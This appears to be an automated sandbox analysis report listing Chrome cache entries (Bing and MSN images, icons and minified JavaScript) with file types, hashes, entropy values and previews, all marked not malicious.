Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	308
Entropy (8bit):	6.593727490677001
Encrypted:	false
SSDEEP:	6:6v/lhPk+nD1v427BaK+V1dv340ikehD09kEKBtUsu87sCLQKpRVp:6v/7sG1vU1l3PehASTYstSKpR7
MD5:	BDA49766E2E7E028EF09D0E34988ECDF
SHA1:	73FED2C00C224AA0DF89397EC41488D63975C882
SHA-256:	5CBDA906C7DB6D50C7E200D73841A7BB7404BCFF1B3C9121AA5BC79DBC608B9A
SHA-512:	2292945B9F53D495B9845CDE7FDDDC6890EDBF00262314691BDC609D81DD6521AD3BB687766A2291077A1848EF49BD04A430C96503EB3254DAD6E932963C9ABD
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/sa/simg/favicon-trans-bg-blue-mg-png.png
Preview:	.PNG........IHDR... ... .....D......9PLTEGpL.n..n..p..n..n..m..p..p..n..o..o..n..o..n..o..n..n..n...T....tRNS... ..@.................IDAT8.....0.D.gZ.....5..x.t.YM...r(.....)...O-._.R..r#...[O.o..e.\......(...h..}...h.=.?_Q...#..Iu!o6.u.-....W.0......aT..Ai...........A?.~..t.q....V......IEND.B`.

Chrome Cache Entry: 573

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 380 x 32, 16-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	2652
Entropy (8bit):	7.884709708562161
Encrypted:	false
SSDEEP:	48:javK4OjNcIpDuhI/hQcktCY6np7Rad4iB+sWNEFMm0483DYqTNcw+Cg8oUvQ9hpB:uvMFpDSI/hS6npE4iks0x4KPGwnZQ9h3
MD5:	5AB91626593CEE8F79A724655354F70A
SHA1:	F6BA164760F978FB493330FDB5B6844AF3B6257C
SHA-256:	BB0CEB73EF7F49DBC91DC80467CECA366DCEC34D8B8B45F4983281CC98F9AE11
SHA-512:	1DA37EBA980A70B695071061E9003D36AAE6D8D64FEEDEA481949B11EF63D4E52D0D29A62B3CABB33859BBF3E74A2769DA6F01D0DEE458F016BF8668BCD726C5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...\|... ......E.:...#IDATx..n.>../....~-......G(ba.. u.C.+.j..JH..A.N........F.u........YQ...9...qns%..#M.....\|y0@..^[...X..sS......c..3....7....GG....[].....4.^7...g}..}...~......w.....d.....9/.x...c[...I.....i.~7.$....f.....%..9.v.......Nx.........`.M....o.....4..............^...7.7.l?~?......w..xnn0.u..;...33Z.\|..oY......=..W...iv\.`Js.ek.4...........h..gZ.+".)&d.K`...d...A.H.....p..=.}.X..'.m.w.~.>.M30........O./.yV..?..5I.....Q..?\E..3.>H....hq.X........x0..Fj..H.Cy......d b.(..2m.......l...%9..Uu..}.d_..y..Z....m..C....j..k..y....<........paa8L...y3....{".%....o....._O.p.hd.oilWu..T......a....:..-6..@....S.p.^.3....R''.....q.KH.<.../..?.:m.WV..].k........lN...9...1..">.s...{..B....n{P.....^\ll...a@n&.. l....[.._....S..X...{.+...`..~.+.........T....~.....q..>.Z.=)+.a........f&.+uu......j.h....~..a..[...c...j8..._...^.n5.M..u.J.\|Z}.`....g.h....J....w....{.~R..T...]N.A...M.N.n..id.>.W...xY.rl/...\..\W9^=...~..

Chrome Cache Entry: 574

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20049), with no line terminators
Category:	downloaded
Size (bytes):	20049
Entropy (8bit):	5.197395310029793
Encrypted:	false
SSDEEP:	384:hAmL9pK5FEuLExhGZeDkN6707b+ah7XAIUIhyYv6dtl8xol9IK/tfaUho:hAmLfK5WuLEbGZeR707b+aTR4wwl8xoK
MD5:	10CE2F0202334756D5B63C739BD0D21C
SHA1:	E1E78C6AE4D0CF2260038E68488226422C56AD32
SHA-256:	7F09A5243D84E6CE04872760D9ABB280AD2BFF9967E933B1F013224A0CA56118
SHA-512:	F04215741C20BF3B6818665FAEA578B385AC623BFDFBD7340842E537D6B176C615FEF187791A551F4B75CD0CE208F9533639ECAA8444EADF9843B096A0AC5DA8
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/social-bar-coachmark-manager.54febbb979ccbe9afe99.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["social-bar-coachmark-manager"],{13757:function(t,e,o){o.r(e),o.d(e,{SocialBarCoachmarkManager:function(){return _}});var n=o(33940),i=o(84486),a=o(86331),r=o(97555),l=o(65453),c=o(71219);const s=864e5;var d=o(49218),u=o(28904),m=o(42590),g=o(78923),f=o(69178);let h=class extends u.H{constructor(){super(...arguments),this.description=""}get coachmarkText(){return this.description.replace("{0}",(0,f.T)("ThumbUpvote","regular","20px")).replace("{1}",(0,f.T)("ThumbDownvote","regular","20px"))}};(0,n.gn)([m.Lj],h.prototype,"description",void 0),h=(0,n.gn)([(0,u.M)({name:"social-bar-coachmark-body",styles:g.i`svg { fill: currentcolor; position: relative; top: 3px; }`,template:d.dy`${t=>d.dy`${d.dy.partial(t.coachmarkText)}`}`})],h);var p,v,C,D,S,P=o(56692);!function(t){t.Above="Above",t.Below="Below",t.Left="Left",t.Right="Right"}(p\|\|(p={})),function(t){t.Adjacent="Adjacent",t.C

Chrome Cache Entry: 575

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1624
Entropy (8bit):	4.773562716145102
Encrypted:	false
SSDEEP:	24:ko6ep61GB008wgl/oyBmKXCdUYAQhYzQe:lHLvVg/oyBmdHAQ
MD5:	EBAA114857D4BA27C1E02CA510B7AA7A
SHA1:	DD4A102A4556A090233348BFE9334BCB6C947EE0
SHA-256:	0B83BBA98B4FB994F34C52EA7D42CB081AB93E663180662EFCD396A9CDD09CDA
SHA-512:	0BD3F45EC580E2037D09A81106EDCBDA5EA38CD7F58573E68A074F79BADBFEC3C2554A2193E82C66ED1E64248DA6001ABF6D60C8A45180088F4082E8817183C7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.]S[HTQ.]..;wf.........1...#$.@HQ{\|....H.E...G..)APB?.OA.i..!......4..5...G......}............%U.u...<#.... .M...1a..`F.....c-....b........\...M.....~...XZ...].....(.cm.LQZ..QH..E....,.Q.\|.\|.u.61.)3..X`..G`h..].5.C......fy...ge..R..d... ..."/.`n..0.@.].....&.C...s9....N...M..C...&C......+g.a.....,.....ig.B..0..`)^..MfI.Jcq.....:.kc...a.-...O..y..rC...c....52.d...3..].CB.a.\|.,=....SP........0T......X.Hq......?.>?....P..M.._..S`...B\XS.X...A7L..iD_.C9.3.c^."/.X.;De:...@.......@LV39..E..[.".R.&h.H.d..Ji%,U.PGF.?...4.x-............s....o.l..a)..&...vD.>.Y..w.4..i.{...QR%...wp\.....D.~@..]D...V3..<...:;l.H.f...M/..R.fD..b.k+..C..L....l.W.M6 ... .d..]....\|...jvG..BWJ<0?....... D.zZ..#.'i...c.Y7.iO.....(&..+../Ni.q....IEND.B`.............................................................................................................................................................................

Chrome Cache Entry: 576

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	4.7183372945791175
Encrypted:	false
SSDEEP:	12:6v/7exe9QVsVsyPXSF/yC9H9eAWw0uac+5SsciTpvFwf8abKP3LRkP06yfor/y1J:aYsOyPCFBPHac+Esc0w0abeL+PhyQw
MD5:	01F55EF8E6EE276794A2FA5712D40347
SHA1:	0B6B137463DC897215ECAA2810C793AF4DADC1AF
SHA-256:	AC394B126F99224EF9FD7B9A98C02FA22E41146B2534CA789BF7567C528BB322
SHA-512:	7253EAA00E10BEDD6B9E41FDB826F241ACFA7F0CC11BFB0B775B9E99104373388B07EAE0525B2023FC796FEF02A8CD63E929DFACC3AC4B052D061CF2B5E99B97
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....XIDATx.mS.K.a.=...A"aKJ....P........4. TC. .6....NB.S....... ..W......{.KOJ]...}.=.{.y$...~..p...7.Q.T.........M&....xyy..k.Z....obbb......!...XQ.VC.P@.....5&''......hV(.........T.f....."'...>.........O.L&X,.P.......!.Jquu...#(.J....R..\.....1==.E'''....*:...>??38!....V..l6!.H......G.q}}.....D...+........A..!..1#.L.....}.........._......`....F.e>..g.....`~~^.......P....(.=X.V.B...7.........gggH..h.Z\LN...E$...G.....z.4;Y8....t.\.s..`..h.F..^...F..\...5..A..U,.Q.T`...d@k.o.....8...f....v..~.Z....R.....&..,{@..cgg.....)...dYz4$...9.yaa................. @...nll.v...yF.11#.^...$H..f.......J...7{.....IEND.B`...................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 577

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	395697
Entropy (8bit):	5.91590407182338
Encrypted:	false
SSDEEP:	6144:EF31/DZV2feDPlwk0gXFjRdQD8g3DpiUuEv:g1/T2GDbXTDgjB
MD5:	B54ADBC21E9E3AED86E1DDDE37C5CA97
SHA1:	4BBEDE66F8265117D5AECF21C9433643D5A792F7
SHA-256:	AE20917774D90D41E06253B61F72DB157F25A3CF44150AA3BB6780536260CC80
SHA-512:	5613E3E67FD5BBDD281E96AA20C850B08713EBB6AD181D8B7B935C622E0B8A7B5D6979CD43624D447345D14A426999BD0932C513B3C1FC9CBF49CDE2F608E5EF
Malicious:	false
Reputation:	unknown
Preview:	var __assign=this&&this.__assign\|\|function(){return __assign=Object.assign\|\|function(n){for(var t,r,i=1,u=arguments.length;i<u;i++){t=arguments[i];for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r])}return n},__assign.apply(this,arguments)},__rest=this&&this.__rest\|\|function(n,t){var u={},r;for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(n!=null&&typeof Object.getOwnPropertySymbols=="function")for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u},__spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},__awaiter=this&&this.__awaiter\|\|function(n,t,i,r){function u(n){return n instanceof i?n:new i(function(t){t(n)})}return new(i\|\|(i=Promise))(function(i,f){functi

Chrome Cache Entry: 578

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10033), with CRLF line terminators
Category:	downloaded
Size (bytes):	12933
Entropy (8bit):	5.214423450434363
Encrypted:	false
SSDEEP:	192:VbgMOzLnhnvZ1czzHT3L0SKZp2NbltyQEZxAk/MI7hBMDIkFi2o6XJalZW:9OZrSzz3wp0OxAmJjEl
MD5:	3E1CD65B12888A023F899069EB6FD830
SHA1:	5DC4BB155BEB355755C78FA0D991C45696497794
SHA-256:	B8BB4D94B0FCFECEAE541A257DEA9BC8F598C2E008BEB857274607868BA3FB10
SHA-512:	4EBCDE6C74FD61AD31560DEE7014EEC65B7618D53572C615CFD77F1D3B7F485D3FF95C0B3F5AA52CBB1EEE41F6A23F5253B076CF2C032FD5284C6B63BF64D4B4
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/XcS7FVvrNVdVx4-g2ZHEVpZJd5Q.js
Preview:	0;..;..!function(n,l){"object"==typeof exports&&"undefined"!=typeof module?l(exports):"function"==typeof define&&define.amd?define(["exports"],l):l(n.preact=n.preact\|\|{})}(this,function(n){if(n.render){return;} var l,u,i,t,o,f,r,e={},c=[],s=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|grid\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord\|itera/i;function a(n,l){for(var u in l)n[u]=l[u];return n}function v(n){var l=n.parentNode;l&&l.removeChild(n)}function h(n,l,u){var i,t,o,f=arguments,r={};for(o in l)"key"==o?i=l[o]:"ref"==o?t=l[o]:r[o]=l[o];if(arguments.length>3)for(u=[u],o=3;o<arguments.length;o++)u.push(f[o]);if(null!=u&&(r.children=u),"function"==typeof n&&null!=n.defaultProps)for(o in n.defaultProps)void 0===r[o]&&(r[o]=n.defaultProps[o]);return y(n,r,i,t,null)}function y(n,u,i,t,o){var f={type:n,props:u,key:i,ref:t,__k:null,__:null,__b:0,__e:null,__d:void 0,__c:null,constructor:void 0,__v:o};return null==o&&(f.__v=f),null!=l.vnode&&l.vnode(f),f}function p(n){return n.children}function d(n,l){this.props=n,this.context

Chrome Cache Entry: 579

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	24303
Entropy (8bit):	7.96423252705246
Encrypted:	false
SSDEEP:	384:e4hunDxDPOozcisb98hd73c0YzmO5h/XbFMFP2f6ELrtdIM4KjA6GXwQF7qmQkGU:eGunhPjAisu7c5h/XbF4+yEHn34KjA6u
MD5:	9BE11D075B63C514FFC7CA3120DB5AF5
SHA1:	6607C84808FFEC7B5E79E02BCFB64C84E3A53509
SHA-256:	C7BDC34921658FDF0D33964673A468BAAF6D64B1BCC8A37276A08ABA25884DE5
SHA-512:	07EF79D76F509D4A833D90D15998E10CA27B2BA978CACDE5CADF0A5C9B8C1E7094A19BC5FD48E77F2638F36BB6E0E2405D07BF31AD7CA7316E6C1810C96277A4
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...W.:...wi.......c.....n<..^k.P.1?.{.....^$...\.oc..".g.?z.G....y&Y..)RU...+..'..+.:v...z..o--.4..5PCp\...k..i6....r..\..v.....Qr.<Mn..[.q.Qk;.X.....q..Ibp._...Z.5....RI.u.}.+.\|2.4}'F.V...\...F.l.e....;...27....M.v..3..k.........j...[a%....D..d.!...Eb..]....s.[X.Zv..'X3.f..._..<.omm.,..=..H..D.bgc..T...u.7.2.._......~...^..e.4.v...4I$..J.GqR...sY..M..[3E.Sz

Chrome Cache Entry: 580

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	15738
Entropy (8bit):	7.962121211990795
Encrypted:	false
SSDEEP:	384:e98CzS3KgO3CKxiMhdbyzfu/b6bi3dXokSDKMYn+EG6:e9vS3KgOnMMhVKfSObQ2kSDrY+ED
MD5:	668C3E51B7D9E01F7A9051AFE8D481C0
SHA1:	895F50430B6374D6451EDECE4FF88BDC3AEB042E
SHA-256:	80F8BD7F3A9ED8538B866158C16CC0A720C732DB548CDCE3B8062745DADBDC2D
SHA-512:	B85426B2B290F67C00E7962CEB166EF78C6C80C373ADF5756DCA56287D46B080CF7C73CE2FF74BD36F5125C5EE09ECAA512F6DEE41D64030BDE14927B18B5FA1
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....T...`CSQ.nk.........n...1V#p....`{P......8...~.WZym...FN3......kvZ[y..n^9../..}..Q...qq..c...\|.t'....F.: .?6.nm.M........P....)...;...e.}e...).L....=.,.i.L.W.Y.2O.:..."...yk....z...E*...u..n[..;....V.w.............M.....O.k..4..."......Nm...Nk.<#.....S,2w...)..J\....m.....~.b.......f..o..c&c..t....yp7.&>.x.>..C..Y...P.H.n....+K.:..gg#A.SnY..?........

Chrome Cache Entry: 581

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	469
Entropy (8bit):	4.629787805928795
Encrypted:	false
SSDEEP:	12:trrzSuoUAMHYJzB3zik04HS0u0fzgOOqiN75qAMP:tfzScAM4JzFukJNu07gVN7I/
MD5:	472185A4E75B520DC563EF944EA414D1
SHA1:	ABCF5A6CC96DE0FC06C3E61B524CEA7B179797DB
SHA-256:	5BEC0E52B149217FBFB5973B131F98012BFF1FEE2A9B1C5B37F1DC01A0011265
SHA-512:	0FB5E92715C722B81DE7EA34CCDEE65FD56BB4BF9FB2C1D5D255BCB6AC82C33B1B9AFA34E980FB6067C16E99C88A35C56D51345DE36A99B020F349E9F17F1D59
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/NoColor_Card/rightArrow.svg
Preview:	<svg width="7" height="12" viewBox="0 0 7 12" class="weather-arrow-glyph" xmlns="http://www.w3.org/2000/svg">.. <path d="M0.528512 0.861886C0.268165 1.12224 0.268165 1.54435 0.528512 1.8047L4.72379 5.99996L0.528512 10.1952C0.268165 10.4556 0.268165 10.8777 0.528512 11.138C0.788865 11.3984 1.21097 11.3984 1.47133 11.138L6.13799 6.47136C6.39832 6.21103 6.39832 5.78889 6.13799 5.52856L1.47133 0.861886C1.21097 0.601539 0.788865 0.601539 0.528512 0.861886Z"/>..</svg>..

Chrome Cache Entry: 582

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	4.1426352870909255
Encrypted:	false
SSDEEP:	24:tDbU/vj3Dx8DDolDLN9wBWUyDa8uz5fCMe4I/76GVf8wz1vVsG4Iu5Tz1mH38zRO:y/b9EolDLf6WUmUzhvr+76GLz16Jk8tO
MD5:	5E834A775C3B3F93F83F7C48E5286257
SHA1:	7F6D63952326103378DCE69ABDC75A07EECF86AD
SHA-256:	006563DB23523A6369D81FCFA6F3515F0317CF651D74024635D2BFBE694779B8
SHA-512:	D575CF4076626957D2AF68EF808930910969244E989CDB770CE303900471A52ACCC36F52D1C0B1E7605AA4A5DD92ED1DC0540605CAC60C7317E27B7BD2C0EBEE
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/f21jlSMmEDN43OaavcdaB-7Phq0.svg
Preview:	<svg fill="none" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path d="m19.6667 0c2.3932 0 4.3333 1.94011 4.3333 4.33333v4c0 .55228-.4477 1-1 1s-1-.44772-1-1v-4c0-1.28866-1.0447-2.33333-2.3333-2.33333h-4c-.5523 0-1-.44772-1-1s.4477-1 1-1zm-15.33337 0c-2.39324 0-4.33333 1.94009-4.33333 4.33333v4c0 .55228.44772 1 1 1s1-.44772 1-1v-4c0-1.28866 1.04467-2.33333 2.33333-2.33333h4c.55228 0 1-.44772 1-1s-.44772-1-1-1zm15.33337 24c2.3932 0 4.3333-1.9401 4.3333-4.3333v-4c0-.5523-.4477-1-1-1s-1 .4477-1 1v4c0 1.2886-1.0447 2.3333-2.3333 2.3333h-4c-.5523 0-1 .4477-1 1s.4477 1 1 1zm-19.6667-4.3333c0 2.3932 1.94009 4.3333 4.33333 4.3333h4c.55228 0 1-.4477 1-1s-.44772-1-1-1h-4c-1.28866 0-2.33333-1.0447-2.33333-2.3333v-4c0-.5523-.44772-1-1-1s-1 .4477-1 1zm12-3.6667c2.2092 0 4-1.7908 4-4s-1.7908-4-4-4-4 1.7908-4 4 1.7908 4 4 4zm0-2c-1.1045 0-2-.8955-2-2s.8955-2 2-2 2 .8955 2 2-.8955 2-2 2zm-6-6.66667c.73639 0 1.33333-.59694 1.33333-1.33333 0-.73637-.59694-1.33333-1.33333

Chrome Cache Entry: 583

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4021
Entropy (8bit):	7.876050896981863
Encrypted:	false
SSDEEP:	96:8zgEto8lel12id3xybhdSs9pr0LjDk38EskDl:yg5CeL3xytIsfADkpJ
MD5:	4664BB9D224801CF85C7C8F12BC4AFA7
SHA1:	D97A9B590A77AA484C81BA4DCBFEF492EEAB1EE9
SHA-256:	F3126317CD4E3789CE1D3A54C8414EEDBF2C16B8688138A33DCCBBC5AAC6A085
SHA-512:	BB0CCC2242BA9D4EDDFFF4599C872683F92C4AF4FD091E60FE260C29286257C073D46582F5FFD62DCC962697CA861E1539438EF66E2AF606B531F6683B5FBE17
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_dqygWER8kwreOfODV2UJ0g&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....eO.Q.Wm.K.l..V6.6...+m...NPv..E..^_.7o.O......h..}.._.X...........p ...b.).HR....i.T.).Qp+.{..........`....c..........h.i...}n..Z..m.MJ....ZH?.8..X.>...8.Y..C..'.....M}..`NA.r>!.V.?.....Dw....b2J...8..K.6..Z.6yIQ....H..Z..P..E..H..;...5..Z2..............{;.Wi..2............3..YZc).H.H.c.v..S....p..m...%.l...u_.?S.....Z..F.h......T.78.....].$\.@<..E..lb.

Chrome Cache Entry: 584

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 58 x 59, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5339
Entropy (8bit):	7.952386577766305
Encrypted:	false
SSDEEP:	96:M23YP+n5adWK8bvMEYxbGb+2htMaLTje1aHQZ0Q8wnP5OCRf2FJ0sT:MzP+5ofUkt+hBL2Yw2rwnhFgqI
MD5:	C49766495653BB160FE23C0303734B7B
SHA1:	0FE8447570BB1BE0E0BD5FED00AE01A1D599EE7A
SHA-256:	BC9DD5F6FB6506EAEDCC886C79B6C72BE115A72664C9EAA2B0F89CC04D63481E
SHA-512:	7E41B4163905A6C7578F0F0AC50542FE378C1F7B919A9DDEFA04BFAB13A612B9F1BC3229684C290087AC4E4F14511968FB4F1BE770EF9987114C98144CB6FC87
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...;..........IDATx..[y...u..3...^..j%D.....Y..#.!8....WH.`.e....@.)J..b...@...&&.6.c..K...b% .\...VZ.......^_.Z....j.\|=.=....=....0.-..>...f..]p......X../]...kj...!.5..8$(.A.E..e.....q.)..&Mj.3gN....i....f...??..xz....G............U.8..m..u..[a...\|n!c...2'...p`.,....X..8..Wj..R{.....c..N....}......=7.tS....(@..".k...Komo?o.../,..?......?.&....(..Z..D...3x-.pCT...../o.......U[<..1cL..<>0P.N._.P.2.7o.:..}......Z...7#6h......b.ag............R....p]...cxm_.^.T...@.....X{..F..P.?4..........c....f.....r.W..Hn.4.w..,.o.R.S.#.B.K..{.k...~.V./..A.L..F.n.<..I.Q....{.@.....%/.J....p<.x...._.#.s'.p.Y...........f.JdL.7.]..Do)........`....[......Bdv........>..?........>o..jy.q98.....H}.\|.."..H.RS..K..H\.t....J....=W.<..'.,YRCz..:....AR.....u.l....zm.1..1..zZ..9.G8....Z\|..Q!t?3..+I3..6R..5.......S........y.j+W.<*....I.......v.b.....pUg.VL.A...4P...n........}.....DBq.)...).KN.JW-...N.........-.....tS......._..-.F(I.y...E..

Chrome Cache Entry: 585

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1274
Entropy (8bit):	4.76866515748201
Encrypted:	false
SSDEEP:	12:6v/7ZA0RnsK88Dl3r5JCyJ3/M+yEoi1iwQfk/zOkKJFwmvAGaMIDgA3e66u/:sRsKtpr5JFJPMy3n/WrwxGazDgA3H
MD5:	BC2CA4C02D8330860D34A943488A7A45
SHA1:	EEB8859DE80E94571F7E906BDFAAFA9C98E493B7
SHA-256:	5CD4E73D22042B54B0648341D22DCE5E089F6ADAAD76FE70083CD545D36CD9C4
SHA-512:	335D1C0EEDC3235770F81CF37EF36649474B9A23E4D924EDD681A6BD8674A3A89E48B77AA788ED3ABEB6881884832D9F066B76486609CDE303EE3D61F7FA6FEC
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyxfDD.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....?IDATx..SMK.Q.~4.......Z..B.i..@.....q.O. ...~..B..V...>tSY..@C.E0(.U!.w.x_.....9sf.y.9.....o.s.........F..Z....+.L&,..b}}.[[[.S..]..`0.`{{....L....t:\..ex<........D....p.....7.d.YT......i...".L"......d...(kkk....coo.....%xxx.^.G".@8.F..'.....<o0..@...L.........{~~..)...Uptt.@&..,J.Au.J%..,k......r.......f......u:....>??...D...YM&.:EI...f.\..h...%vvvH...H I...x\|\|....cV.....A(....lb<..v8..I...P............6+......1Q..!.......V.%.r9^..O.`IV.,..oE#.C...v..n.K.y@.j./.........\i..V.....kD.Q6M.'}..FZ....qrr...U.U..'.\|>...X,.3..\|...%D"..R)...h`..g.#.^y.2.C...%.."j.}....IEND.B`............................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 586

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1572)
Category:	dropped
Size (bytes):	1683
Entropy (8bit):	5.1898179833107125
Encrypted:	false
SSDEEP:	48:tDKeUAmPopXrdMmgVTAfya6SWunZ5SsuoAu0:tvUAmPM2AfpxWwZ5SsLA/
MD5:	9A495CA26166DD65150A25F7162B04A8
SHA1:	26AD1042A8C68812C0627EB8310623A73440F059
SHA-256:	9C92C7F3F636136678523BA263DE733DC183AAFD465BA42D51BF710830E52CAF
SHA-512:	81B300E00388AA5BA7C6EFCE59B7FB27CBC1EF941845206F32A770738AD262AF944B36D9206B5C203FFA393647312D97D59209504EA0332C5CFAC28517BB360F
Malicious:	false
Reputation:	unknown
Preview:	<script type="text/javascript" nonce="7xVLkGS+SOtITORlJIAT0Jh/5YKT07g4PKM8T2qdtaU=">//<![CDATA[.sj_evt && sj_evt.bind( "onRALoad", function() { var reportActivityModule = new ModernRewards.ReportActivity({"AnimateHeader":true,"IsAuthenticated":false,"DashboardUrl":"/rewards/dashboard","IsMobileClient":false,"RewardsIncrement":1,"RewardsSessionData":{"IsRewardUser":false,"IsLinkedUser":false,"IsTenantEnabled":false,"IsAadUser":false,"IsTrialUser":false,"TrialUserClaimBalance":0.0,"IsRebatesUser":false,"IsRebatesDeniedUser":true,"Balance":0,"RewardsBalance":0,"GiveBalance":0,"RebatesBalance":0.0,"IsGiveModeOn":false,"PreviousBalance":0,"GoalTrackBalance":200,"IsLevel2":false,"IsOptOut":false,"IsSuspended":false,"ShowAnimation":false,"IsRedirectedFromOldDashboard":false,"ImpressionLifeTimeCount":2,"DailyImpressionHPCount":1,"DailyImpressionSerpCount":0,"VisitedCount":2,"LastVisitTime":"2023-12-06T08:00:00Z","LastAutoOpenFlyoutTime":"0001-01-01T00:00:00","AutoOpenFlyoutFlag":false,"IsCLOUs

Chrome Cache Entry: 587

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	16687
Entropy (8bit):	7.950672537236447
Encrypted:	false
SSDEEP:	384:e3YZ/H50YgKyHdSBNOF1ID2CcyQ8zIZy6WlplzPU:ee0R/KOFIcdUNlplzPU
MD5:	0A8621F424090CFF344AE4E11B087D8D
SHA1:	A89C713647E101EFDCC0A5884EF45C26C9587468
SHA-256:	C11A311AC73911421DF4FD1786641D3C7BCC21EEF6D546DB2CFFB33322FC4A1D
SHA-512:	27161260719E06A5F032D34772FD9C4BB85D03FA39687AA673AA12CA96799072EE0BA1A572DB8965CC0D87F46ED4F8D18E799D5709B3800F2014968BC9020FDF
Malicious:	false
Reputation:	unknown
